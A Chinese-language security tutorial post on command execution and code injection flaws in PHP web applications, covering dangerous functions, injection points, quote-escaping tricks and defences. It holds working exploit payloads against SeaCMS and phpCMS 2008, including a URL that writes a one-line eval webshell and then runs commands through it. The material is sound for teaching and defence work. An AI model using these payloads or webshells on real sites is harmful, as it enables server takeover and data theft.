命令執行漏洞


0x01:命令執行漏洞簡介

用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令,可能會允許使用者通過改變 $PATH 或程序執行環境的其他方面來執行一個惡意構造的代碼

 


0x02:命令執行 VS 代碼執行

1. 命令執行漏洞:

    直接調用操作系統命令

2. 代碼執行漏洞:

    靠執行腳本代碼調用操作系統命令



命令執行原理:

   在操作系統中,“&、|、||”都可以作爲命令連接符使用,用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令

代碼執行原理:

  應用有時需要調用一些執行系統命令的函數,如PHP中的systemexecassertshell_execpassthrupopenproc_popen

escapeshellcmd、pcntl_exec等,當用戶能控制這些函數中的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行***,這就是命令執行漏洞。以上函數主要也在webshell中用的多,實際上在正常應用中差別不太大,用得最多的還是前三個。

 


0x03:命令執行漏洞利用條件

  應用調用執行系統命令的函數

  將用戶輸入作爲系統命令的參數拼接到了命令行中

  沒有對用戶輸入進行過濾或過濾不嚴

 

 

0x04:命令執行漏洞分類

1.代碼層過濾不嚴

 商業應用的一些核心代碼封裝在二進制文件中,在web應用中通過system函來調用:

system("/bin/program --arg$arg");

2.系統的漏洞造成命令注入

bash破殼漏洞(CVE-2014-6271)

3.調用的第三方組件存在代碼執行漏洞

WordPress中用來處理圖片的ImageMagick組件

JAVA中的命令執行漏洞(struts2/ElasticsearchGroovy)

ThinkPHP命令執行

 

 

0x05:命令函數的利用

 1. Systemsystem函數可以用來執行一個外部的應用程序並將相應的執行結果輸出,函數原型如下:

 string system(string command, int&return_var)

其中,command是要執行的命令,return_var存放執行命令的執行後的狀態值。

 

 2. Execexec函數可以用來執行一個外部的應用程序

string exec (string command, array&output, int &return_var)

其中,command是要執行的命令,output是獲得執行命令輸出的每一行字符串,return_var存放執行命令後的狀態值。

 

 

 3.Passthrupassthru函數可以用來執行一個UNIX系統命令並顯示原始的輸出,當UNIX系統命令的輸出是二進制的數據,並且需要直接返回值給瀏覽器時,需要使用passthru函數來替代systemexec函數。Passthru函數原型如下:

void passthru (string command, int&return_var)

其中,command是要執行的命令,return_var存放執行命令後的狀態值。


 4. Shell_exec:執行shell命令並返回輸出的字符串,函數原型如下:

string shell_exec (string command)

其中,command是要執行的命令。

 

 0x06:命令常見可控位置

常見可控位置情況有下面幾種:

system("$arg"); //可控點直接是待執行的程序

system("/bin/prog $arg"); //可控點是傳入程序的整個參數

system("/bin/prog -p $arg"); //可控點是傳入程序的某個參數的值(無引號包裹)

system("/bin/prog --p=\"$arg\"");//可控點是傳入程序的某個參數的值(有雙引號包裹)

system("/bin/prog --p='$arg'"); //可控點是傳入程序的某個參數的值(有單引號包裹)

  sys=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')   
  
sys.system(cmd)

第一種情況

如果我們能直接控制$arg,那麼就能執行執行任意命令了,沒太多好說的。

第二種情況

我們能夠控制的點是程序的整個參數,我們可以直接用&& || 或 | 等等,利用與、或、管道命令來執行其他命令(可以涉及到很多linux命令行技巧)。

還有一個偏門情況,當$arg被 escapeshellcmd處理之後,我們不能越出這個外部程序的範圍,我們可以看看這個程序自身是否有“執行外部命令”的參數或功能,比如linux下的sendmail 命令自帶讀寫文件功能,我們可以用來寫webshell。

第三種情況

我們控制的點是一個參數,我們也同樣可以利用與、或、管道來執行其他命令,情境與二無異。

第四種情況

這種情況壓力大一點,有雙引號包裹。如果引號沒有被轉義,我們可以先閉合引號,成爲第三種情況後按照第三種情況來利用,如果引號被轉義(addslashes),我們也不必着急。linux shell 環境下雙引號中間的變量也是可以被解析的,我們可以在雙引號內利用反引號執行任意命令 `id`

第五種情況

這是最難受的一種情況了,因爲單引號內只是一個字符串,我們要先閉合單引號纔可以執行命令。如:system("/bin/prog –p='aaa' | id")

危害自然不言而喻,執行命令可以讀寫文件、反彈shell、獲得系統權限、內網***等。

在漏洞檢測中,除了有回顯的命令注入(比如執行dir 命令或者cat 讀取系統文件);還可以使用盲打的方式,比如curl遠程機器的某個目錄(看access.log),或者通過dns解析的方式獲取到漏洞機器發出的請求。



0x07:命令漏洞危害

 繼承Web服務程序的權限去執行系統命令或讀 - 寫文件

 反彈shell

 控制整個網站甚至控制服務器

 進一步內網橫向***


0x08:海洋cms實例

命令執行常用的函數,eval(),system(),proc_open()之類的,因此能執行php代碼一般就是 eval() 函數

搜索一下這個頁面有eval函數的地方

for($m=0;$m<$arlen;$m++){
           $strIf=$iar[1][$m];
           $strIf=$this->parseStrIf($strIf);
           $strThen=$iar[2][$m];
           $strThen=$this->parseSubIf($strThen);
           if (strpos($strThen,$labelRule2)===false){
                if(strpos($strThen,$labelRule3)>=0){
                   $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                   @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){$content=str_replace($iar[0][$m],$strThen1,$content);} else{$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
               @eval("if(".$strIf.") { \$ifFlag=true;} else{\$ifFlag=false;}");
                if ($ifFlag)$content=str_replace($iar[0][$m],$strThen,$content); else$content=str_replace($iar[0][$m],"",$content);}


可以在這裏下個斷點,把變量打印出來

就可以清晰的看到就是在這執行了我們的命令

http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd])

wKioL1hY8DGzNCkKAAKc62seKl8237.png


菜刀連接

0x09:命令執行漏洞常見繞過

0x10:命令執行漏洞防禦


 1.儘量不要使用系統執行命令

 2.在進入執行命令函數方法之前,變量一定要做好過濾,對敏感字符進行轉義

 3.在使用動態函數之前,確保使用的函數是指定的函數之一

 4.對PHP語言來說,不能完全控制的危險函數最好不要使用

二、代碼注入

0x11、代碼注入漏洞成因

當應用在調用一些能將字符串轉化成代碼的函數(如php中的eval)時,沒有考慮用戶是否能控制這個字符串,將造成代碼注入漏洞。

幾種常用語言,都有將字符串轉化成代碼去執行的相關函數,如:

  • PHP:eval、assert

  • Javascript:eval

  • Vbscript: Execute、Eval

  • Python:exec

  • Java:Java中沒有類似php中eval 函數這種直接可以將字符串轉化爲代碼執行的函數,但是有反射機制,並且有各種基於反射機制的表達式引擎,如:OGNL、SpEL、MVEL等,這些都能造成代碼執行漏洞

應用有時候會考慮靈活性、簡潔性,在代碼中調用eval之類的函數去處理。如phpcms中很常用的string2array 函數:

function string2array($data) {if($data == '') return array();@eval("\$array = $data;");return $array;}

PHP中能造成代碼注入的主要函數: eval 、 preg_replace + /e模式 、assert

用的一般就是前兩者,CMS中很少用到assert的,至於一些偏門函數就更少了,用的情況僅限於留後門。 常見用法也有如下一些:

  eval("\$ret = $data;"); 
  
eval("\$ret = deal('$data');"); 
  
eval("\$ret = deal("$data");"); 
  
preg_replace('/<data>(.*)</data>/e', '$ret = "\\1";'); 

preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
?>

第一個就是剛纔之前說phpcms 的,通常$data不會直接來自POST或GET變量(要不也太水了),但通過一些二次漏洞很可能能夠造出代碼執行(如SQL注入)。 第二個是將$data使用一個函數(deal)處理後再賦值給$ret。那麼,傳參的方式就很重要了。第二個用的是單引號傳參,那麼我們只能先閉合單引號,之後才能注入代碼。如果應用全局做了addslashes或GPC=on的話,就不能夠注入代碼了。 第三個與第二個類似,但使用的是雙引號傳參。雙引號在代碼中有個很重要的特性,它能解析其中的函數,如我們傳入${phpinfo()},phpinfo將會被執行,而得到的返回值作爲參數傳入deal 函數。這個時候,我們就不用考慮閉合引號的事了。 第四個是preg_replace函數的誤用,這種用法出現的情況是最多的,也是因爲preg_replace第二個參數中,包裹正則結果\\1的是雙引號,通過第三個中的方式,也能執行任意代碼。
注意,第五個示例中包裹\\1 的可以是雙引號或者單引號,都可以造成命令執行,提交 h=[php]phpinfo()[/php] 。

php curly syntax: ${`ls`} 它將執行花括號內的代碼,並將結果替換回去。

0x12、phpCMS 2008 命令執行漏洞

index.php?userid=abc&menu=xxx

我們訪問時填的 userid 在數據庫是查找不到的,這樣無法從數據庫返回結果中 extract 出 $menu 變量的定義,在但最開始 程序會把 $_GET 獲取到的參數都 extract 出來,這樣的話 menu 變量的值可以由我們控制,

由於 $menu 不爲空,如果 menu=phpinfo(); exit(); 內部執行 string2array 函數,

eval("\$arr=$data"); 時會 執行命令,即 eval("\$arr=phpinfo();exit();");

進一步地,我們可以將一句話***寫成 webshell 文件放到網站服務器目錄下

一句話*** <?php eval($_GET['func']($_GET['cmd'])); ?>

menu=file_put_contents('shell.php', ' <?php eval($_GET['func']($_GET['cmd'])); ?> ')

爲了防止轉義等導致命令執行不成功,可以用 ascii 碼形式,即

index.php?userid=abc&menu=file_put_contents(CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(42).CHR(112).CHR(104).CHR(112), ...);exit()

下次我們可以直接訪問 shell.php?func=system&cmd=dir,執行php 代碼 system(dir)

類似會造成變量覆蓋的函數還有:import_request_variables(), parse_str() 等

0x13、代碼注入繞過

0x14、OOB外帶數據


0x15、代碼注入修復方案

  • 能使用json 保存數組、對象就使用json,不要將php對象保存成字符串,否則讀取的時候需要使用eval。將字符串轉化爲對象的過程其實是將數據轉化爲代碼的過程,這個過程很容易出現漏洞,像php的unserialize 導致代碼執行、struts2的ognl 命令執行等漏洞都是這個過程導致的。

  • 對於必須使用eval 的情況,一定要保證用戶不能輕易接觸eval 的參數(或用正則嚴格判斷輸入的數據格式)。對於字符串,一定要使用單引號包裹可控代碼,並再插入前進行addslashes,這樣就無法閉合單引號,又因爲不是雙引號包裹,故不能執行 ${} 。
    evil('${phpinfo()}')evil("phpinfo()") 等都不會執行, evil("${phpinfo()}")evil(phpinfo())evil(${@phpinfo()}) 都可以執行,因爲雙引號裏面內容會被當作變量解析一次,函數前加 @ 表示執行函數時不報錯。
    $data = addslashes($data);eval("\$data = deal('$data');");

  • 放棄使用preg_replace 的e修飾符,而換用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的話,請保證第二個參數中,對於正則匹配出的對象,用單引號包裹(第4個示例)。

  • 確保register_globals = off, 若不能自定義php.ini,則應該在代碼中控制;其次,熟悉可能造成變量覆蓋的函數和方法,檢查用戶是否能控制變量的來源;最後,養成初始化變量的好習慣。

  • 能夠往本地寫入的函數都需要重點關注,如 file_put_contents(), fwrite(), fputs() 等。

  • 在自動化漏洞檢測中可以 直接帶入類似 ";print(md5(test));$a=" ,匹配返回頁面是否有 md5 字符串。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章